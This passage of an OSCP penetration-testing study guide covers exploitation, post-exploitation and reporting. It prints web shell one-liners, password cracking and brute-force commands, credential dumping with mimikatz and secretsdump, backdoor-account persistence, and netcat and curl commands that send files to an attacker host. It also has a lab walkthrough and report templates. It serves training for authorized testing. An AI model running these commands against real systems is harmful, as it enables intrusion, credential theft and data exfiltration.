# PHP: <?php system($_GET['cmd']); ?>
# ASP: <% Response.Write(CreateObject("WScript.Shell").Exec(Request("cmd")).StdOut.ReadAll()) %>
# JSP: <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

5.5 Credential-Based Attacks

Password Cracking with John the Ripper

# Crack Linux password hashes
john --wordlist=/usr/share/seclists/Passwords/rockyou.txt /etc/shadow

# Crack NTLM hashes (Windows)
john --wordlist=/usr/share/seclists/Passwords/rockyou.txt ntlm_hashes.txt

# Crack SSH hashes
john --format=ssh --wordlist=/usr/share/seclists/Passwords/rockyou.txt ssh_hash.txt

# Crack MySQL hashes
john --format=mysql --wordlist=/usr/share/seclists/Passwords/rockyou.txt mysql_hash.txt

# Show cracked passwords
john --show /etc/shadow

Password Cracking with Hashcat

# Identify hash type
hashid <hash_value>

# Crack NTLM hashes (mode 1000)
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/seclists/Passwords/rockyou.txt

# Crack SHA-512 crypt (Linux shadow, mode 1800)
hashcat -m 1800 -a 0 shadow_hashes.txt /usr/share/seclists/Passwords/rockyou.txt

# Crack MD5 (mode 0)
hashcat -m 0 -a 0 md5_hashes.txt /usr/share/seclists/Passwords/rockyou.txt

# Crack with rule-based attack
hashcat -m 1000 -a 0 ntlm_hashes.txt /usr/share/seclists/Passwords/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Resume interrupted attack
hashcat -m 1000 -a 0 -r /usr/share/hashcat/rules/best64.rule --restore ntlm_hashes.txt /usr/share/seclists/Passwords/rockyou.txt

Brute Force with Hydra

# SSH brute force
hydra -l username -P /usr/share/seclists/Passwords/rockyou.txt ssh://10.10.10.10

# FTP brute force
hydra -l username -P /usr/share/seclists/Passwords/rockyou.txt ftp://10.10.10.10

# HTTP POST form brute force
hydra -l admin -P /usr/share/seclists/Passwords/rockyou.txt 10.10.10.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid credentials"

# RDP brute force
hydra -l administrator -P /usr/share/seclists/Passwords/rockyou.txt rdp://10.10.10.10

# SMB brute force
hydra -l username -P /usr/share/seclists/Passwords/rockyou.txt smb://10.10.10.10

# Common flags:
# -l    : Single username
# -L    : Username list file
# -p    : Single password
# -P    : Password list file
# -t    : Number of parallel tasks (default 16)
# -vV   : Verbose output
# -f    : Stop on first valid credential

5.6 Exploit Selection and Adaptation

Exploit Decision Matrix

Factor Consideration Decision
Reliability Does the exploit work consistently? Prefer reliable exploits
Stealth Will the exploit be detected? Manual > Metasploit for stealth
Complexity How hard is the exploit to adapt? Start with simple exploits
Availability Is the exploit readily available? Exploit-DB, GitHub, searchsploit
Target Match Does the exploit match the exact version? Verify version before using

Phase 6: Post-Exploitation

Post-exploitation is about maximizing access and collecting evidence.

6.1 Privilege Escalation

Linux Privilege Escalation

# Step 1: Gather system information
whoami
id
uname -a
cat /etc/os-release
cat /etc/passwd
cat /etc/shadow    # If readable

# Step 2: Check for SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

# Step 3: Check for sudo permissions
sudo -l

# Step 4: Check for writable files
find / -writable -type f 2>/dev/null | grep -v "/proc\|/sys"
find / -name "*.conf" -writable 2>/dev/null

# Step 5: Check for cron jobs
crontab -l
cat /etc/crontab
ls -la /etc/cron.*

# Step 6: Check for running services
ps aux
systemctl list-units --type=service

# Step 7: Check for mounted filesystems
mount
df -h

# Step 8: Run automated privesc tools
# linpeas
./linpeas.sh

# linux-exploit-suggester
./linux-exploit-suggester.sh

# Step 9: Check kernel exploits
# If kernel version is old, search for local privilege escalation exploits
searchsploit "Linux kernel <version> local privilege escalation"
Common Linux Privesc Vectors
Vector Description Example
SUID Binary Binary with SUID bit set /usr/bin/find, /usr/bin/vim
Sudo Misconfiguration User can run commands as root sudo -l shows NOPASSWD
Writable /etc/passwd Modify password file Add new root user
Cron Job Scheduled task running as root Writable script in cron
Kernel Exploit Vulnerable kernel version Dirty Cow, OverlayFS
Capability Abuse Linux capabilities misconfigured cap_setuid+ep
Docker Escape Access to Docker socket Mount host filesystem
Environment Variables LD_PRELOAD hijacking Preload malicious library

Windows Privilege Escalation

# Step 1: Gather system information
whoami
whoami /priv
whoami /groups
systeminfo
net user
net localgroup administrators

# Step 2: Check for unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

# Step 3: Check for writable service binaries
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"

# Step 4: Check AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Step 5: Check for unattended installation files
dir C:\Windows\Panther\Unattend\ /s
dir C:\Windows\System32\Sysprep\Infrastructu re\ /s

# Step 6: Run winPEAS
.\winPEAS.exe
.\winPEASany.exe    # If AMSI bypass needed

# Step 7: Check for token impersonation privileges
# SeImpersonatePrivilege -> RoguePotato, JuicyPotato
# SeAssignPrimaryTokenPrivilege -> Potato family exploits
Common Windows Privesc Vectors
Vector Description Tools
Unquoted Service Path Service path with spaces Manual, accesschk
AlwaysInstallElevated MSI installs as SYSTEM msiexec
Unattended Files Credentials in config files Manual search
Token Impersonation SeImpersonate privilege RoguePotato, JuicyPotato
Weak Service Permissions Writable service binary accesschk, sc.exe
DLL Hijacking Service loads DLL from writable path Manual, Process Monitor
Named Pipe Impersonation SeImpersonate via pipes PrintSpoofer, JuicyPotato
Credential Dumping Extract passwords from memory mimikatz, secretsdump.py

6.2 Persistence Mechanisms

Mechanism Linux Windows
User Account Add user to /etc/passwd net user backdoor Password123 /add
SSH Key Add to ~/.ssh/authorized_keys Not applicable
Cron Job crontab -e reverse shell Scheduled Tasks
Systemd Service Create malicious service Windows Service
Startup Script ~/.bashrc, /etc/rc.local Startup folder, Registry
Backdoor Binary Replace legitimate binary Replace legitimate binary

6.3 Pivoting and Lateral Movement

SSH Tunneling

# Local port forwarding
ssh -L local_port:target:target_port user@pivot_host

# Example: Access internal web server through pivot
ssh -L 8080:10.10.10.50:80 user@10.10.10.10

# Dynamic port forwarding (SOCKS proxy)
ssh -D 1080 user@10.10.10.10

# Configure proxychains
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

# Use proxychains with any tool
proxychains nmap -sV -p- 10.10.10.50
proxychains curl http://10.10.10.50

Chisel for Pivoting

# On the pivot machine (attacker)
./chisel server -p 8000 --reverse

# On the compromised machine (client)
./chisel client 10.10.14.5:8000 R:socks

# Now use proxychains through the SOCKS proxy
proxychains nmap -sV 10.10.10.50

Metasploit Pivoting

# From meterpreter session
run autoroute -s 10.10.10.0/24
run autoroute -p

# Use the route for further exploitation
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.50
set SESSION 1    # Route through session 1
exploit

6.4 Credential Dumping

Linux Credential Dumping

# Read password files
cat /etc/passwd
cat /etc/shadow

# Look for credentials in config files
grep -r "password" /etc/ 2>/dev/null
grep -r "credential" /home/ 2>/dev/null
cat ~/.bash_history
cat ~/.mysql_history

# Extract hashes for offline cracking
unshadow /etc/passwd /etc/shadow > combined_hashes.txt
john --wordlist=/usr/share/seclists/Passwords/rockyou.txt combined_hashes.txt

Windows Credential Dumping

# Using Mimikatz (from meterpreter)
load mimikatz
mimikatz_command -f sam
mimikatz_command -f sekurlsa::logonpasswords

# Using Impacket
secretsdump.py DOMAIN/username:password@10.10.10.10
secretsdump.py -just-dc DOMAIN/username:password@10.10.10.10

# Using crackmapexec
crackmapexec smb 10.10.10.10 -u username -p password --sam
crackmapexec smb 10.10.10.10 -u username -p password --lsa
crackmapexec smb 10.10.10.10 -u username -p password --ntds

6.5 Data Exfiltration

# Simple file transfer methods

# Using netcat
# On attacker:
nc -lvp 4444 > exfiltrated_data.txt

# On target:
nc 10.10.14.5 4444 < sensitive_file.txt

# Using Python HTTP server
# On attacker:
python3 -m http.server 8080

# On target:
wget http://10.10.14.5:8080/upload.sh
curl -X POST -F "file=@sensitive.txt" http://10.10.14.5:8080/

# Using scp
scp user@10.10.10.10:/path/to/file /local/path/

# Using Metasploit
download /path/to/remote/file /local/path/

6.6 Evidence Collection (Proofs for OSCP)

This is critical for OSCP. You must collect specific proofs:

Required Proof Elements

Proof Command What to Capture
User Flag cat /home/*/user.txt or type C:\Users\*\user.txt Content of user.txt
Root Flag cat /root/root.txt or type C:\Users\Administrator\root.txt Content of root.txt
Identity id (Linux) or whoami (Windows) Username and UID/GID
IP Address ifconfig or ip addr (Linux) or ipconfig (Windows) Target IP
Hostname hostname Target hostname

Proof Collection Commands

# Linux - Collect all proofs in one command
(echo "=== USER PROOF ===" && whoami && id && hostname && ip addr show | grep "inet " && cat /home/*/user.txt 2>/dev/null) > proof_user.txt

(echo "=== ROOT PROOF ===" && whoami && id && hostname && ip addr show | grep "inet " && cat /root/root.txt 2>/dev/null) > proof_root.txt

# Windows - Collect all proofs
powershell "whoami; whoami /priv; hostname; ipconfig | findstr 'IPv4'; Get-ChildItem C:\Users\ -Filter user.txt -Recurse | Get-Content; Get-ChildItem C:\Users\Administrator\ -Filter root.txt -Recurse | Get-Content"

Screenshot Requirements

Take screenshots showing:

  1. User access: Terminal showing whoami, id, and cat user.txt
  2. Root access: Terminal showing whoami, id, and cat root.txt
  3. IP and hostname: Visible in the same screenshot as the flag

Critical: The screenshot must show all three elements: id (or whoami), ip (or ipconfig), and hostname along with the flag content. Missing any element can result in points being deducted.


Phase 7: Reporting

The report is 50% of your OSCP grade. A technically perfect engagement with a poor report will fail.

7.1 Executive Summary

The executive summary is written for non-technical stakeholders. It should include:

# Executive Summary

## Engagement Overview
A penetration test was conducted on [Target Network] from [Start Date] to [End Date].
The assessment followed the PTES methodology and covered [Scope Description].

## Key Findings
- [X] critical vulnerabilities were identified
- [Y] high-severity vulnerabilities were identified
- [Z] medium/low-severity vulnerabilities were identified

## Risk Assessment
The overall risk level is [HIGH/MEDIUM/LOW] based on the identified vulnerabilities
and their potential impact on the organization.

## Recommendations Summary
1. Immediate: Patch critical vulnerabilities within 24-48 hours
2. Short-term: Address high-severity findings within 1 week
3. Long-term: Implement security hardening measures

7.2 Technical Findings Documentation

Each finding should follow this structure:

## Finding: [Vulnerability Name]

### Severity: [Critical/High/Medium/Low]
### CVSS Score: [X.X]
### Affected System: [IP/Hostname]
### Affected Service: [Service Name and Version]

#### Description
[Clear description of the vulnerability and how it was discovered]

#### Impact
[What an attacker could achieve by exploiting this vulnerability]

#### Proof of Concept
[Step-by-step reproduction of the exploit]

1. [Step 1]
2. [Step 2]
3. [Step 3]

```bash
# Commands used to exploit
nmap -sV -p 80 10.10.10.10
curl http://10.10.10.10/vulnerable.php?id=1' OR '1'='1

Remediation

[Specific, actionable recommendations to fix the vulnerability]

  1. [Recommendation 1]
  2. [Recommendation 2]

### 7.3 Risk Rating (CVSS)

Use CVSS v3.1 for consistent risk rating:

| Metric | Values | Description |
|--------|--------|-------------|
| **Attack Vector (AV)** | N/L/A/P | Network/Local/Adjacent/Physical |
| **Attack Complexity (AC)** | H/L | High/Low complexity |
| **Privileges Required (PR)** | H/L/N | High/Low/None |
| **User Interaction (UI)** | N/R | None/Required |
| **Scope (S)** | U/C | Unchanged/Changed |
| **Confidentiality (C)** | H/L/N | High/Low/None |
| **Integrity (I)** | H/L/N | High/Low/None |
| **Availability (A)** | H/L/N | High/Low/None |

#### CVSS Calculator Examples

| Vulnerability | CVSS Vector | Score | Rating |
|---------------|------------|-------|--------|
| Remote Code Execution | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` | 10.0 | Critical |
| SQL Injection | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` | 8.6 | High |
| Local Privilege Escalation | `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | 7.8 | High |
| XSS (Stored) | `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` | 6.1 | Medium |
| Information Disclosure | `AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` | 5.3 | Medium |

### 7.4 Remediation Recommendations

Provide **specific, actionable** recommendations:

| Finding | Recommendation | Priority |
|---------|---------------|----------|
| Outdated Apache | Upgrade to latest stable version | High |
| SQL Injection | Use parameterized queries / prepared statements | Critical |
| Weak Passwords | Implement password complexity requirements | High |
| Default Credentials | Change all default credentials immediately | Critical |
| Unpatched SMB | Apply MS17-010 patch or disable SMBv1 | Critical |
| Exposed SSH | Disable root login, use key-based auth | Medium |

### 7.5 OSCP Report Requirements

The OSCP report has **specific requirements**:

#### Required Sections

1. **Executive Summary** (1-2 pages)
2. **Technical Findings** (detailed per machine)
3. **Appendix** (screenshots, commands, references)

#### Per-Machine Requirements

For each compromised machine, you must document:

| Element | Required | Notes |
|---------|----------|-------|
| **IP Address** | Yes | Must be clearly stated |
| **Hostname** | Yes | From `hostname` command |
| **User Flag** | Yes | Content of user.txt |
| **Root Flag** | Yes | Content of root.txt |
| **Exploitation Steps** | Yes | Detailed, reproducible |
| **Privilege Escalation** | Yes | How you gained root/admin |
| **Screenshots** | Yes | Proof of access |

#### Report Format

- Use the **OffSec-provided template** (Word document)
- Follow the template structure exactly
- Include **all required screenshots**
- Write in **professional, clear language**
- Proofread for **grammar and spelling**

---

## OSCP-Specific Methodology

### The 23-Hour Exam Workflow

#### Time Allocation Strategy

| Phase | Time Budget | Activities |
|-------|------------|------------|
| **Initial Recon** | 1-2 hours | Nmap scans on all targets, service enumeration |
| **First Target** | 3-5 hours | Exploit + privesc on easiest machine |
| **Second Target** | 3-5 hours | Exploit + privesc on second machine |
| **Third Target** | 4-6 hours | Exploit + privesc on hardest machine |
| **Buffer/Review** | 2-4 hours | Revisit stuck targets, collect proofs |
| **Report Prep** | 2-3 hours | Organize notes, take screenshots |

#### Hour-by-Hour Breakdown

Hour 0-1: Environment setup, initial nmap scans Hour 1-2: Service enumeration, web directory brute-forcing Hour 2-4: Exploit first target (easiest) Hour 4-5: Privilege escalation on first target Hour 5-7: Exploit second target Hour 7-8: Privilege escalation on second target Hour 8-12: Exploit third target (hardest) Hour 12-14: Privilege escalation on third target Hour 14-18: Buffer time – revisit stuck targets Hour 18-20: Collect all proofs, take screenshots Hour 20-23: Review, organize notes, prepare for reporting


### Time Management Strategy

#### Priority Rules

1. **Rule of 2**: Focus on getting 2 machines first. 2 machines = passing score (if report is good).
2. **2-Hour Rule**: If you're stuck on a target for more than 2 hours without progress, move to another target.
3. **Document as You Go**: Don't wait until the end to document. Write notes during exploitation.
4. **Parallel Scanning**: Run nmap scans on all targets simultaneously.

#### When to Move On

| Signal | Action |
|--------|--------|
| No progress in 2 hours | Switch to another target |
| Exploit fails consistently | Try a different attack vector |
| Service has no known exploits | Move to another service on the same target |
| All services exhausted | Move to a different target |

### Documentation During the Exam

#### Real-Time Notes Template

```markdown
# Target: 10.10.10.XX

## Reconnaissance
- Open Ports: 22, 80, 445
- Services: SSH (OpenSSH 8.2), HTTP (Apache 2.4.41), SMB
- OS: Linux (Ubuntu 20.04)

## Enumeration
### Web (Port 80)
- Directory brute-force found: /admin, /backup, /uploads
- /admin contains login portal
- /backup contains backup.zip with source code

### SMB (Port 445)
- Null session allowed
- Shares: IPC$, ADMIN$, C$
- Users enumerated: admin, jsmith, backup

## Exploitation
### Initial Access
- Method: SQL Injection on /admin/login
- Command: ' OR 1=1--
- Result: Shell as www-data

### Privilege Escalation
- Method: SUID binary (find)
- Command: find . -exec /bin/sh -p \; -quit
- Result: Root access

## Proofs
- User: jsmith (uid=1001)
- Root: root (uid=0)
- user.txt: [FLAG_CONTENT]
- root.txt: [FLAG_CONTENT]

Proof Collection Requirements

Mandatory Proof Checklist

  • whoami output showing username
  • id output showing UID and GID
  • hostname output
  • IP address output (ifconfig or ipconfig)
  • cat user.txt output
  • cat root.txt output
  • Screenshot containing all of the above

Screenshot Best Practices

  1. Single screenshot per proof: Combine all required info in one terminal window.
  2. Clear and readable: Use a large enough font.
  3. No cropping: Show the full terminal output.
  4. Timestamp visible: Include the date/time if possible.

Report Writing During the 24-Hour Reporting Window

Report Writing Schedule

Time Activity
Hour 0-4 Write executive summary and introduction
Hour 4-12 Document technical findings for each machine
Hour 12-18 Add screenshots, remediation, and appendix
Hour 18-22 Review, proofread, and format
Hour 22-24 Final review and submission

Common Report Mistakes

Mistake Consequence Fix
Missing proof elements Points deducted Use the checklist
Poor grammar/spelling Unprofessional impression Proofread carefully
Missing remediation Incomplete report Add specific recommendations
No screenshots No proof of access Take screenshots during exam
Inconsistent formatting Hard to read Use the template consistently

Common Mistakes and How to Avoid Them

Mistake Why It Happens How to Avoid
Not scanning all ports Time pressure Always run nmap -p-
Skipping enumeration Rushing to exploit Enumerate every open service
Not documenting Forgetting during exam Document as you go
Ignoring web apps Focusing on services Web is the #1 attack surface
Not trying privesc Getting user but not root Always attempt privesc
Poor time management Getting stuck on one box Use the 2-hour rule
Not collecting proofs Forgetting requirements Use the proof checklist

Practical Walkthrough: End-to-End Example

Scenario: Compromising a Linux Web Server

Phase 1: Pre-Engagement

Target: 10.10.10.50
Scope: Full penetration test
Authorization: OSCP exam agreement
Tools: Kali Linux (all tools installed)

Phase 2: Intelligence Gathering

# Step 1: Initial scan
nmap -sS --top-ports 1000 -T4 -oN scans/nmap-initial 10.10.10.50

# Results:
# PORT   STATE  SERVICE
# 22/tcp open   ssh
# 80/tcp open   http

# Step 2: Full port scan
nmap -sS -p- -T4 -oN scans/nmap-all-ports 10.10.10.50

# Results:
# PORT     STATE  SERVICE
# 22/tcp   open   ssh
# 80/tcp   open   http
# 64999/tcp open   unknown

# Step 3: Service detection
nmap -sV -sC -p 22,80,64999 -oN scans/nmap-services 10.10.10.50

# Results:
# PORT      STATE  SERVICE  VERSION
# 22/tcp    open   ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
# 80/tcp    open   http     Apache httpd 2.4.29
# 64999/tcp open   http     Node.js Express framework

Phase 3: Threat Modeling

Attack Surface:
├── SSH (OpenSSH 7.6p1) -- Potential for brute force or CVE
├── HTTP (Apache 2.4.29) -- Web application testing
└── HTTP (Node.js Express) -- Alternative web entry point

Priority:
1. Web applications (ports 80 and 64999)
2. SSH (if credentials found)

Phase 4: Vulnerability Analysis

# Web enumeration on port 80
gobuster dir -u http://10.10.10.50 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50

# Results:
# /admin (Status: 301)
# /backup (Status: 200)
# /index.html (Status: 200)
# /login (Status: 200)

# Check /backup
curl http://10.10.10.50/backup/
# Found: backup.zip

# Download and analyze
wget http://10.10.10.50/backup/backup.zip
unzip backup.zip
# Contains: source code with database credentials

# Web enumeration on port 64999
curl http://10.10.10.50:64999
# Found: Developer portal with API endpoints

Phase 5: Exploitation

# Found SQL injection on /login page
# Manual testing:
curl "http://10.10.10.50/login?user=admin'--&pass=test"
# Returns: Welcome admin!

# Using sqlmap for data extraction
sqlmap -u "http://10.10.10.50/login?user=admin&pass=test" \
    -p user --batch --dbs

# Found database: webapp_db
# Extracted credentials from database:
# Username: developer
# Password: developer123

# SSH login with extracted credentials
ssh developer@10.10.10.50
# Password: developer123
# SUCCESS! Shell as developer

Phase 6: Post-Exploitation

# Check current user
whoami
# developer

id
# uid=1001(developer) gid=1001(developer) groups=1001(developer)

# Check for user flag
cat /home/developer/user.txt
# [USER_FLAG_CONTENT]

# Privilege escalation
sudo -l
# User developer may run the following commands on target:
# (ALL) NOPASSWD: /usr/bin/python3.6

# Exploit sudo python
sudo /usr/bin/python3.6 -c 'import os; os.system("/bin/sh")'

# Now root!
whoami
# root

id
# uid=0(root) gid=0(root) groups=0(root)

# Check for root flag
cat /root/root.txt
# [ROOT_FLAG_CONTENT]

# Collect proofs
hostname
# target-machine

ifconfig | grep "inet "
# inet 10.10.10.50

Phase 7: Reporting

## Finding: SQL Injection Leading to Remote Code Execution

### Severity: Critical
### CVSS Score: 9.8
### Affected System: 10.10.10.50
### Affected Service: Apache httpd 2.4.29 / Web Application

#### Description
A SQL injection vulnerability was discovered in the login page (/login) of the web application.
The 'user' parameter is not properly sanitized, allowing an attacker to bypass authentication
and extract data from the database.

#### Impact
An attacker can:
1. Bypass authentication to access any user account
2. Extract sensitive data from the database (credentials, PII)
3. Use extracted credentials to gain SSH access to the server
4. Escalate privileges to root via sudo misconfiguration

#### Proof of Concept
1. Navigate to http://10.10.10.50/login
2. Enter 'admin'-- in the username field
3. Enter any value in the password field
4. Submit the form -- authentication is bypassed

```bash
# Automated extraction with sqlmap
sqlmap -u "http://10.10.10.50/login?user=admin&pass=test" -p user --batch --dbs

# Extracted credentials used for SSH access
ssh developer@10.10.10.50

Remediation

  1. Use parameterized queries or prepared statements for all database operations
  2. Implement input validation and sanitization on all user inputs
  3. Apply the principle of least privilege for database accounts
  4. Implement Web Application Firewall (WAF) rules
  5. Conduct regular code reviews and security testing

---

## Lab Exercises

### Exercise 1: End-to-End Methodology Practice

**Objective**: Practice the complete PTES methodology on a lab machine.

**Target**: Choose a machine from HackTheBox (retired) or TryHackMe)

**Steps**:

1. **Pre-Engagement** (15 min)
   - Define scope and rules of engagement
   - Set up workspace directory structure
   - Verify tool installation

2. **Intelligence Gathering** (30-60 min)
   - Run initial nmap scan
   - Run full port scan
   - Run service version detection
   - Enumerate each open service
   - Document all findings

3. **Threat Modeling** (15 min)
   - Create attack surface map
   - Generate vulnerability hypotheses
   - Plan attack paths
   - Prioritize targets

4. **Vulnerability Analysis** (30-60 min)
   - Run automated scanners (Nikto, Nmap scripts)
   - Manually verify findings
   - Identify false positives
   - Document validated vulnerabilities

5. **Exploitation** (60-120 min)
   - Attempt exploitation of highest-priority vulnerabilities
   - Document exploitation steps
   - Capture initial access

6. **Post-Exploitation** (30-60 min)
   - Attempt privilege escalation
   - Collect all required proofs
   - Take screenshots

7. **Reporting** (60 min)
   - Write executive summary
   - Document technical findings
   - Add screenshots and remediation

**Deliverables**:
- Complete notes for each phase
- Screenshots of proofs
- Written report following OSCP format

### Exercise 2: Nmap Mastery

**Objective**: Master nmap scanning techniques.

**Steps**:

1. Scan a target with each nmap technique individually
2. Compare results between techniques
3. Identify which technique found the most information
4. Create a custom nmap profile for your workflow

### Exercise 3: Privilege Escalation Practice

**Objective**: Practice Linux and Windows privilege escalation.

**Steps**:

1. Set up vulnerable VMs (LinPEAS/WinPEAS practice machines)
2. Gain initial access
3. Run automated privesc tools
4. Manually verify each finding
5. Exploit the privilege escalation vector
6. Document the process

---

## Key Tools Reference Table

### Phase-by-Phase Tool Matrix

| Phase | Tool | Purpose | Command Example |
|-------|------|---------|-----------------|
| **Pre-Engagement** | Kali Linux | Attack platform | N/A |
| **Pre-Engagement** | Git | Tool management | `git clone <repo>` |
| **Recon (Passive)** | theHarvester | OSINT gathering | `theHarvester -d target.com -b all` |
| **Recon (Passive)** | Shodan | Internet device search | `shodan search "target.com"` |
| **Recon (Passive)** | Maltego | Relationship mapping | GUI-based |
| **Recon (Active)** | Nmap | Port scanning | `nmap -sS -sV -p- -T4 target` |
| **Recon (Active)** | Gobuster | Directory brute-force | `gobuster dir -u http://target -w wordlist.txt` |
| **Recon (Active)** | Dirsearch | Directory brute-force | `dirsearch -u http://target` |
| **Recon (Active)** | enum4linux-ng | SMB enumeration | `enum4linux-ng -A target` |
| **Recon (Active)** | crackmapexec | SMB/WinRM enumeration | `crackmapexec smb target` |
| **Recon (Active)** | whatweb | Web tech detection | `whatweb http://target` |
| **Recon (Active)** | wpscan | WordPress scanning | `wpscan --url http://target` |
| **Threat Modeling** | Penetration Testing Execution Standard | Framework | N/A |
| **Threat Modeling** | Draw.io / Lucidchart | Attack path visualization | GUI-based |
| **Vuln Analysis** | Nikto | Web vulnerability scanner | `nikto -h http://target` |
| **Vuln Analysis** | OpenVAS | Full vulnerability scanner | GUI-based |
| **Vuln Analysis** | Nmap Scripts | Service-specific scanning | `nmap --script "vuln" target` |
| **Vuln Analysis** | sqlmap | SQL injection detection | `sqlmap -u "http://target/vuln?id=1"` |
| **Exploitation** | Metasploit | Exploitation framework | `msfconsole` |
| **Exploitation** | SearchSploit | Exploit database search | `searchsploit Apache 2.4` |
| **Exploitation** | msfvenom | Payload generation | `msfvenom -p linux/x86/shell_reverse_tcp ...` |
| **Exploitation** | Hydra | Credential brute-force | `hydra -l user -P pass.txt ssh://target` |
| **Exploitation** | John the Ripper | Password cracking | `john --wordlist=rockyou.txt hash.txt` |
| **Exploitation** | Hashcat | GPU password cracking | `hashcat -m 1000 hash.txt rockyou.txt` |
| **Exploitation** | Burp Suite | Web app testing | GUI-based |
| **Post-Exploit** | linpeas | Linux privesc enumeration | `./linpeas.sh` |
| **Post-Exploit** | winPEAS | Windows privesc enumeration | `.\winPEAS.exe` |
| **Post-Exploit** | Mimikatz | Windows credential dumping | `mimikatz # sekurlsa::logonpasswords` |
| **Post-Exploit** | Impacket | Windows protocol tools | `secretsdump.py target` |
| **Post-Exploit** | Chisel | Pivoting/tunneling | `chisel client target:8000 R:socks` |
| **Post-Exploit** | SSH | Tunneling | `ssh -D 1080 user@target` |
| **Reporting** | Microsoft Word | Report writing | N/A |
| **Reporting** | Markdown | Notes documentation | N/A |

### Essential Wordlists

| Wordlist | Location | Use Case |
|----------|----------|----------|
| **rockyou.txt** | `/usr/share/seclists/Passwords/rockyou.txt` | Password cracking |
| **common.txt** | `/usr/share/seclists/Discovery/Web-Content/common.txt` | Directory brute-force |
| **big.txt** | `/usr/share/seclists/Discovery/Web-Content/dirb/big.txt` | Directory brute-force (large) |
| **subdomains-top1million.txt** | `/usr/share/seclists/Discovery/DNS/` | Subdomain enumeration |
| **usernames.txt** | `/usr/share/seclists/Usernames/` | Username brute-force |
| **common-snmp-community-strings.txt** | `/usr/share/seclists/Discovery/SNMP/` | SNMP enumeration |

---

## Exam Tips

### The Most Important Methodology Tips for Passing OSCP

#### 1. Always Scan All Ports

```bash
# This is the #1 tip for OSCP
nmap -sS -p- -T4 -oN scans/nmap-all-ports 10.10.10.XX

Why: OSCP machines frequently have services on non-standard ports. Missing a service on port 8080, 3000, or 64999 means missing the entire attack path.

2. Enumerate Every Open Service

Don’t just scan – enumerate. For every open port:

Port Service Enumeration Commands
21 FTP ftp target, ftp-anon target
22 SSH nmap --script "ssh-*", version check
25 SMTP nmap --script "smtp-*", VRFY/ECHO
53 DNS dig axfr, dnsrecon
80/443 HTTP gobuster, nikto, whatweb
111 RPC rpcinfo, showmount
139/445 SMB enum4linux-ng, smbclient, crackmapexec
1433 MSSQL nmap --script "ms-sql-*"
3306 MySQL mysql -u root -p, nmap --script "mysql-*"
3389 RDP nmap --script "rdp-*", freerdp
5432 PostgreSQL nmap --script "pgsql-*"
5900 VNC nmap --script "vnc-*"
8080+ HTTP Alt Same as port 80

3. Web Applications Are Your Best Friend

Statistics from OSCP exams:

  • ~70% of machines have a web application as the primary attack vector
  • Web apps provide the most diverse exploitation paths
  • Directory brute-forcing is almost always worthwhile

Web enumeration checklist:

  • Directory brute-force with multiple wordlists
  • Check /robots.txt and /sitemap.xml
  • Look for backup files (.bak, .zip, .tar.gz, .swp)
  • Check for CMS (WordPress, Joomla, Drupal)
  • Test all forms for SQL injection
  • Check for file upload functionality
  • Look for information disclosure in source code
  • Check JavaScript files for hidden endpoints

4. Document as You Go

Never wait until the end to document. Use this workflow:

Find vulnerability -> Exploit -> Document immediately -> Move on

Keep a running notes file for each target with:

  • All commands run
  • All outputs (especially important ones)
  • All findings and hypotheses
  • All exploitation steps

5. The 2-Hour Rule

If you’ve been working on a target for 2 hours without meaningful progress:

  1. Take a 10-minute break
  2. Review your notes and findings
  3. Try a completely different approach
  4. If still stuck after another hour, move to another target

6. Privilege Escalation Checklist

Linux:

# Run these commands immediately after gaining access:
whoami && id && hostname
uname -a
sudo -l
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab
crontab -l
cat /etc/passwd
./linpeas.sh    # Upload and run

Windows:

# Run these commands immediately after gaining access:
whoami && whoami /priv && whoami /groups
systeminfo
net user && net localgroup administrators
.\winPEAS.exe    # Upload and run

7. Proof Collection Checklist

Before moving to the next target, verify:

  • whoami / id output captured
  • hostname output captured
  • IP address captured
  • user.txt content captured
  • root.txt content captured
  • Screenshot taken with all of the above visible

8. Common OSCP Exploitation Patterns

Pattern Frequency Description
Web app -> SQLi -> Credentials -> SSH Very Common SQL injection leads to DB creds, then SSH
Web app -> File Upload -> Web Shell Very Common Upload PHP/ASP shell for RCE
SMB -> Null Session -> Credentials Common Null session gives user list, then brute force
Service Exploit -> Shell -> Privesc Common Exploit vulnerable service directly
Web app -> RCE -> Shell -> Privesc Common Direct remote code execution via web
Default Credentials -> Service Access Common Default creds on FTP, SSH, or web panel
Credential Reuse Common Creds from one service work on another

9. Report Writing Tips

  • Start early: Begin writing during the exam, not after.
  • Use the template: Follow the OffSec template exactly.
  • Be specific: Include exact commands, versions, and outputs.
  • Proofread: Grammar and spelling matter.
  • Screenshots: Every finding needs a screenshot.
  • Remediation: Provide actionable, specific recommendations.

10. Mental Game

  • Stay calm: Panic leads to mistakes.
  • Take breaks: 5-10 minute breaks every 2-3 hours.
  • Eat and drink: Keep energy levels up.
  • Sleep: If possible, take a short nap during the exam.
  • Trust your process: If you follow the methodology, you will find the vulnerabilities.

Cross-References

This topic connects to the following chapters in the OSCP study guide:

Chapter Topic Relationship
02 Information Gathering Detailed nmap, enumeration, and OSINT techniques
03 Vulnerability Scanning OpenVAS, Nessus, and manual verification
04 Web Application Attacks SQLi, XSS, file upload, and command injection
05 Exploitation Techniques Metasploit, manual exploits, and payload generation
06 Privilege Escalation (Linux) SUID, sudo, kernel exploits, and Linux privesc
